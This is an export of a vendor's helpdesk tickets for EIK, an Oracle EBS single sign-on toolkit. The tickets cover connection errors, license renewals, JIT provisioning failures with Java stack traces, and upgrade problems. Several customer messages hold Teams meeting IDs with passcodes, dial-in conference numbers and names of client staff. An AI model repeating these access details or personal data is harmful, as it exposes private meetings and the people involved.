Hi Hassan, Based on today's meeting with Uday and team, we have set up the Test Environment for EIK version 2.3.0.2 in the event of testing and identifying the error (EIK\_SQL\_CONNECTION\_ERROR). Also for your reference we have attached portal link for EIK version 2.3.0.2 binaries and deployment document. Please test and let us know. <https://likemindsconsultinghelp.freshdesk.com/a/solutions/articles/48001224553> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1100> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Ehab/Hassan, We would be please to have your feedback on the newly setup EIK ver 2.3.0.2 test environment which was to remediate the "EIK\_SQL\_Connection\_Error" issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1100> Best Regards, EIK Support Team ? <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Ehab El-Masry, Can we close this ticket? Please advice Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1100> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Ehab El-Masry, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1100>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Template Issue in PF SSO login page (Test env) Resolution: PingFed configuration in :Protocol---Base url <https://xxxxxxx>

TICKET DISPLAY ID : 1101

SUBJECT : Not able to test SSO in Dev environment

PROBLEM DESCRIPTION : dbcx file was copied to the Pingfed server (Eng Praba)

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-02-24 16:39:03 UTC

Hi Erik, In response to your feedback, we are closing ticket #1101 ? Ref: Email dated 27 Feb 2023

Hi All, I confirm that DAISTG Apex pages are working fine from EBS. What was the root cause of this issue? Can it reoccur? What should be done when it happens again from our end? Reason I am asking is because we were having this issue since 16th Feb and it got resolved after so many days. Thanks, Vani. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1101> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1102

SUBJECT : EBS PROD is not working both SSO and Local

PROBLEM DESCRIPTION : EBS PROD is not working both SSO and Local issue from DAI Team. We got confirmation from Erik, that the issue was caused by a planned firewall change, which has been reverted.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-03-23 11:32:46 UTC

TICKET DISPLAY ID : 1103

SUBJECT : Unable to connect with JDBC

PROBLEM DESCRIPTION : Hi Team, We are trying to achieve connect with two JDBC, using the same PingFederate instance. The document available in the kit does not have any information about it. Need support to sort this out.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Edg/111.0.1661.54

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Rohit Lokhande, please send us a meeting invite. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, please find the below attachment Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Team, please find the below attachment Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande, Please find the EIK-2.3.0.2 Binaries for your reference below: <https://likemindsconsultinghelp.freshdesk.com/a/solutions/articles/48001236808> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1103> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello Team, Thanks for your support. U may close this ticket as it is resolved.

TICKET DISPLAY ID : 1104

SUBJECT : need the modification in the error message template.

PROBLEM DESCRIPTION : Dear team, We need few modifications on the error message template.

Like changes in support details and content in error message etc.

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.58

seen\_articles: enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/home> portal\_url:

<https://support.likemindsconsulting.com/support/tickets/new>

Hi Rohit Lokhande, Can you please be more specific as to what you are trying to achieve. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1104> Regards, EIK Support Team  
<-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande and Team, Shown below is the editable area in the EIKAuth.config file which is in the EIK\_HOME to customize as per your requirement. Please note that the other info in the Error Template cannot be edited since it is part of the package. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1104> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Rohit Lokhande, Please let us know the status of this ticket #1104 Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1104> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1105

SUBJECT : RE: INC2001914 - c1ym has been assigned to group EBS DBA Admin

PROBLEM DESCRIPTION : We are able to access EBS Local URL from our end and it?s working fine. For SSO issue adding Likeminds team

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-05-08 13:43:14 UTC

Hi Erik Bjers, Hello, We were able to apply the temporary 1 month license and are operational again. We also have the purchased 1 year license now and will apply that during our upcoming scheduled maintenance in the next couple of weeks. Thank You, Erik Bjers DAI Technology Principal Manager, Cyber Security Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1105> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1106

SUBJECT : OIDC\_CODE\_NOT\_FOUND\_ERROR

PROBLEM DESCRIPTION : We are receiving the error OIDC\_CODE\_NOT\_FOUND\_ERROR in the logs and on the browser when accessing the application. The heartbeat URL returns OK. Please join our call to assist with this production error. Thank you Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 273 790 915 160 Passcode: zKGrDC Download Teams | Join on the web Learn More | Meeting options

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42 seen\_articles: ["48001205448","48001204825","48001207087"] enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/search/topics?term=OIDC-LM-2072 portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Carla Chan, As the SSL handshake issued between PingFederate and the Application which is supposed to pass the Reference id is null, so the authentication fails. Also the new certificate updating in the bds application server was not updated. As now the issue have been resolved, we would like to close the ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1106> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1107

SUBJECT : Missing License File

PROBLEM DESCRIPTION : Hi, Where can I get our License file?

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 seen\_articles: ["48001239447"] enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/tickets portal\_url: https://support.likemindsconsulting.com/support/tickets/new



Hi Jasvir Chahil, Can you please send us a screenshot of the LIC ? Attached is the EIK License file.  
Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1107> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1108

SUBJECT : Users are not being created in EBS

PROBLEM DESCRIPTION : We have JIT provisioning enabled (set to true) but users are not being created in EBS consistently. In the EIK logs, we see a successful user creation but some of the users are not in EBS. Need help troubleshooting this issue. The flow would be an external users table --> EIK JIT --> EBS, where if the user does not exist in EBS, EIK JIT would provision the account. Would there be any custom code deployed for this sync? I also see some errors in the logs when a user

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42  
seen\_articles: enterprise\_enabled: false referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/tickets> portal\_url:  
<https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

2023-05-17T09:26:21.234-0400 WARN [https-jsse-nio-8443-exec-10]  
[com.likeminds.ebsauth.service.AuthService] No UserInfo Endpoint specified, Disabling claims  
search 2023-05-17T09:26:21.234-0400 DEBUG [https-jsse-nio-8443-exec-10]  
[com.likeminds.ebsauth.datasource.DataSourceManager] Entering Creating user  
2023-05-17T09:26:21.234-0400 DEBUG [https-jsse-nio-8443-exec-10]  
[com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl] Entering Creating user

```

2023-05-17T09:26:21.234-0400          DEBUG          [https-jsse-nio-8443-exec-10]
[com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl] Username :10010000000131705600
2023-05-17T09:26:21.234-0400          DEBUG          [https-jsse-nio-8443-exec-10]
[com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl]          claims          :null
2023-05-17T09:26:21.234-0400          DEBUG          [https-jsse-nio-8443-exec-10]
[com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl] Unable to obtain any claims from
OIDC Provider 2023-05-17T09:26:21.234-0400 ERROR [https-jsse-nio-8443-exec-10]
[com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl] Unable to parse claims
java.lang.NullPointerException: null at java.io.StringReader.<init>(StringReader.java:50)
~[?:1.8.0_251] at org.json.simple.parser.JSONParser.parse(Unknown Source)
~[json-simple-1.1.jar:?] at org.json.simple.parser.JSONParser.parse(Unknown Source)
~[json-simple-1.1.jar:?] at
com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl.createuser(JITProvisionerImpl.java:40)
[SampleJITProvisioner-0.0.1-SNAPSHOT.jar:?] at
com.likeminds.ebsauth.datasource.DataSourceManager.createuser(DataSourceManager.java:675)
[classes/:?] at com.likeminds.ebsauth.service.AuthService.createEbsSession(AuthService.java:163)
[classes/:?] at
com.likeminds.ebsauth.controller.AuthClientController.sessionPrecheck(AuthClientController.java:17
0) [classes/:?] at
com.likeminds.ebsauth.controller.AuthClientController.doHandler(AuthClientController.java:120)
[classes/:?] at sun.reflect.GeneratedMethodAccessor67.invoke(Unknown Source) ~[?:?] at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_251] at java.lang.reflect.Method.invoke(Method.java:498) ~[?:1.8.0_251]

```

Hi Carla Chan, Could you please send the total log file Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We still did not received log file yet. Could you please share that. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Could you please send us an update on the JIT provisioning issue, So that we can update the ticket. Thank you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108>Hi Carla Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Sorry for the delay. Log file is attached.

Hi Carla Chan, Could you please send us eik-error.log file as well. thanks, Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please give us an update on ticket#1108 Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hello, I will upload the error file although the errors from the date I opened have been overwritten. Could you please respond to my initial question - Would there be any custom code deployed for this sync in EIK? Although the log may say a user was successfully created, how can we trace when this is actually happening?

Hi Carla Chan, Could you please us the meeting invite to troubleshoot this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Could you please send us the meeting invite to troubleshoot this issue. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Microsoft Teams meeting Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 292 202 533 222 Passcode: cL44Y2 Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 115 581 278 7 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,356724923# United States, Fort Lauderdale Phone Conference ID: 356 724 923#

Meeting Time - Friday 9th June 4:30PM EST

Ok Carla Chan, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Not given.

I had trouble connecting to the call, but I just joined.

Hello, I joined for 10mins but no one joined. I need to get more details on the way JIT syncs users and how to troubleshoot failures and configure additional tracing. Will reschedule for Monday.

Hi Carla Chan, We have been waiting for you since 4.30 pm(EST) and we are still waiting Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, ? ?we are still waiting, kindly send us another meeting link ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, please update us on this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1108> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Pingfed user info checked =ok EIK ve 2.2 Client will be checking the Pingfed side & BSD (datastore) from their side

TICKET DISPLAY ID : 1109

SUBJECT : License Expired

PROBLEM DESCRIPTION : EIK license Expired.

SOLUTION CONVERSATION : created\_by: 48012749006 time: 2023-05-28 08:29:20 UTC

TICKET DISPLAY ID : 1110

SUBJECT : What permissions are required for connecting to the EBS Datasource?

PROBLEM DESCRIPTION : HI, Could you please let us know what permissions are required by the ELK User to connect to the EBS Datasource, also what tables and attributes are needed? Thanks Jay

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 seen\_articles: ["48001240085","48001239447"] enterprise\_enabled: false referrer: https://support.likemindsconsulting.com/support/solutions/articles/48001239447-eik-2-3-0-2-datasource-utility portal\_url: https://support.likemindsconsulting.com/support/tickets/new

Hi Jasvir Chahil, Please follow below instructions to create the EIK USER: Before proceeding with the DBCX file generation, a custom user should be created in the EBS Application FND\_USER table (Username ? EIKUSER) with the UMX|APPS\_SCHEMA\_CONNECT role enabled. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1110> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Jasvir Chahil, Could you please send us an update on this issue, So that we can update the ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1110> Regards, EIK

Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1111

SUBJECT : EIK toolkit license

PROBLEM DESCRIPTION : Hello Team, Please share valid EIK toolkit license , they are expiring on 08/2023. Also, please provide the steps to be followed for EIK toolkit license renewal in DEV > TEST > PROD Thanks, Sunil Yadav Activision

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 seen\_articles:  
enterprise\_enabled: false referrer:  
<https://likemindsconsultinghelp.freshdesk.com/support/tickets/1084> portal\_url:  
<https://likemindsconsultinghelp.freshdesk.com/support/tickets/new>

Hi Activision DBA, Your EIK License is expiring on the 31 Aug 2023. ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1111> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Activision DBA, ? Our accounts officer will get back to you on the EIK License renewal process. We will guide you through the steps of installing the new LIC, once the renewal is done. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1111> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

EIK LIC renewal details sent to client by LMC accounts officer.

TICKET DISPLAY ID : 1112

SUBJECT : Error after upgrading to 2.3.0.3

PROBLEM DESCRIPTION : I upgraded EIK to 2.3.0.2 and I'm receiving the error below. I also created a new tomcat instance and deployed 2.3.0.3 and I get the same error. Please assist.

2023-06-29T13:36:18.382-0400 DEBUG [main]

[com.likeminds.ebsauth.service.JitProvisionerServiceLoader] Obtained File :  
/u01/eik/apache-tomcat-9.0.16/EBSAuth/plugins/SampleJITProvisioner-0.0.1-SNAPSHOT.jar

2023-06-29T13:36:18.382-0400 DEBUG [main]

[com.likeminds.ebsauth.service.JitProvisionerServiceLoader] Obtaining JIT Providers

2023-06-29T13:36:18.384-0400 DEBUG [main]

[com.likeminds.ebsauth.service.JitProvisionerServiceLoader] Provider :

com.likeminds.ebsauth.datasource.DefaultJitProvisioner 2023-06-29T13:36:18.389-0400 WARN

[main] [org.springframework.web.context.support.AnnotationConfigWebApplicationContext]

Exception encountered during context initialization - cancelling refresh attempt:

org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with  
name 'authClientController' defined in file

[/u01/eik/apache-tomcat-9.0.16/webapps/EBSAuth/WEB-INF/classes/com/likeminds/ebsauth/control  
ler/AuthClientController.class]: Unsatisfied dependency expressed through constructor parameter 0;

nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error  
creating bean with name 'com.likeminds.ebsauth.service.AuthService': Unsatisfied dependency  
expressed through field 'dataSourceManager'; nested exception is

org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with  
name 'com.likeminds.ebsauth.datasource.DataSourceManager': Unsatisfied dependency expressed



through constructor parameter 1; nested exception is  
org.springframework.beans.factory.BeanCreationException: Error creating bean with name  
'com.likeminds.ebsauth.service.JitProvisionerServiceLoader': Invocation of init method failed; nested  
exception is java.util.ServiceConfigurationError:  
com.likeminds.ebs.jit.service.api.JITProvisionerService: Provider  
com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl could not be instantiated  
2023-06-29T13:36:18.399-0400 ERROR [main] [org.springframework.web.context.ContextLoader]  
Context initialization failed org.springframework.beans.factory.UnsatisfiedDependencyException:  
Error creating bean with name 'authClientController' defined in file  
[u01/eik/apache-tomcat-9.0.16/webapps/EBSAuth/WEB-INF/classes/com/likeminds/ebsauth/control  
ler/AuthClientController.class]: Unsatisfied dependency expressed through constructor parameter 0;  
nested exception is org.springframework.beans.factory.UnsatisfiedDependencyException: Error  
creating bean with name 'com.likeminds.ebsauth.service.AuthService': Unsatisfied dependency  
expressed through field 'dataSourceManager'; nested exception is  
org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with  
name 'com.likeminds.ebsauth.datasource.DataSourceManager': Unsatisfied dependency expressed  
through constructor parameter 1; nested exception is  
org.springframework.beans.factory.BeanCreationException: Error creating bean with name  
'com.likeminds.ebsauth.service.JitProvisionerServiceLoader': Invocation of init method failed; nested  
exception is java.util.ServiceConfigurationError:  
com.likeminds.ebs.jit.service.api.JITProvisionerService: Provider  
com.likeminds.ssoconnect.eik.provisioner.JITProvisionerImpl could not be instantiated at  
org.springframework.beans.factory.support.ConstructorResolver.createArgumentArray(ConstructorR  
esolver.java:800) ~[spring-beans-5.3.21.jar:5.3.21] at  
org.springframework.beans.factory.support.ConstructorResolver.autowireConstructor(ConstructorRe  
solver.java:229) ~[spring-beans-5.3.21.jar:5.3.21] at

org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.autowireConstructor(AbstractAutowireCapableBeanFactory.java:1372) ~[spring-beans-5.3.21.jar:5.3.21]

SOLUTION CONVERSATION : user\_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.58

seen\_articles: "[\"48001170689\", \"48001170691\", \"48001205448\", \"48001239442\"]"

enterprise\_enabled: false referrer:

<https://support.likemindsconsulting.com/support/solutions/articles/48001239442-eik-2-3-0-2-binaries>

-docs portal\_url: <https://support.likemindsconsulting.com/support/tickets/new>

Hi Carla Chan, Please send us a screenshot of the error message & the EIK error log, Also a

Meeting invite please to discuss. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Carla Chan, Could you please give update on this. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This

message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Date July 5th, 2023 Time 10:00AM EST \*\*\* Join on your computer, mobile app or room device Click

here to join the meeting Meeting ID: 260 132 025 068 Passcode: ttL9hV Download Teams | Join on

the web Join with a video conferencing device [officedepot@m.webex.com](mailto:officedepot@m.webex.com) Video Conference ID:

116 431 353 8 Alternate VTC instructions

Hi Carla Chan, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112>

Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Current working environment: EIKAuth.config (changed to false due to error received after upgrading to 2.3.0.2) jit=true Location of JIT: (disabled/renamed plugins directory when we upgraded to 2.3.0.2 because of error received)  
/u01/eik/apache/EBSAuth/plugins/SampleJITProvisioner-0.0.1-SNAPSHOT.jar

2.3.0.2 Version attached

Looking into DNS issue on Office Depot end as well

Previous war file

Non-prod Apache version 9.0.65 - Upgraded to EIK 2.3.0.2 Production version 9.0.16 Please advise if the latest version of apache/tomcat (9.0.73) is supported with EIK 2.3.0.2?

Hi Carla Chan, Thanks for uploading the JIT Jar and war file, We will get back to you after confirmation as discussed. In the meanwhile please have the DNS issue resolved. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Please Replace old EBSAuth.war from 2.3.0.2 to 2.3.0.3 which is attached below,

Also it is compatible with the ApacheTomcat-9.0.73 Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, Could you please give an update on this. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, ?Kindly let us know the status of ticket 1112. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I will send a meeting invite for tomorrow to discuss.

Sure Carla Chan, Noted!. Ticket URL -  
<https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Thursday 7/13 @ 11:15AM EST Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 257 283 641 347 Passcode: 76CAKj Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 115 676 673 0 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,611978189# United

States, Fort Lauderdale Phone Conference ID: 611 978 189# Find a local number | Reset PIN

Thursday 7/13 @ 11:15AM EST Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 257 283 641 347 Passcode: 76CAKj Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 115 676 673 0 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,611978189# United States, Fort Lauderdale Phone Conference ID: 611 978 189# Find a local number | Reset PIN

Join on your computer, mobile app or room device Click here to join the meeting Meeting ID: 257 283 641 347 Passcode: 76CAKj Download Teams | Join on the web Join with a video conferencing device officedepot@m.webex.com Video Conference ID: 115 676 673 0 Alternate VTC instructions Or call in (audio only) +1 954-256-2185,,611978189# United States, Fort Lauderdale Phone Conference ID: 611 978 189# Find a local number | Reset PIN

Ok Carla Chan, Noted! Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I can schedule call today @ 11AM EST

Hi Carla Chan, Yes please Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112>  
Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We still waiting.... When the meeting starts, we'll let people know you're waiting.

Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112>Hi Ca Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I will schedule the call for Monday. I've been trying to update the ticket and it's not updating

Sure Carla Chan, Noted!. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

?Hi Carla, Are we connecting today as mentioned by you. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

s

JIT Provisioning custom plugin. EIK 2.3.0.3 was sent to client (JIT did not work on 2.3.0.2) Had issue with DNS forward lookup zone. EIK on Tomcat ver 9.0.16 on test. Oracle Load Balancer. Waiting for the user to sent us an update after the 2.3.0.3 .war deployment

Hi Carla Chan, ?? Re: JIT Deployment with EIK 2.3.0.3 Update: We had provided the EIK v2.3.0.3 binaries which worked with JIT provisioning. (JIT does not work with EIK v2.3.0.2.) SSO to

applications was successful. Client Test Env: EIK 2.3.0.3 with JIT (JIT .jar that worked in Prod Env was used for Test Env) Apache Tomcat Ver:9.0.65 (Prod 9.0.16) ? ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, ?Can we close this ticket. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Carla Chan, We are closing this ticket since there is no reply from your end. We assume that you have tested the applications. ? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1112> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

TICKET DISPLAY ID : 1113

SUBJECT : Changing EBS link (moving to another server)

PROBLEM DESCRIPTION : Dears, We are changing production server of EBS and I asked before on how to configure it and you said just change the URL in EIKAuth.config file and I did , after that we are facing the issue as below : EIK-LM 2003 (jdbc error) dbcx was re generated and corrected Also: Based on our meeting the requirements is to have composite adapter between kerpors and HTML adapters.

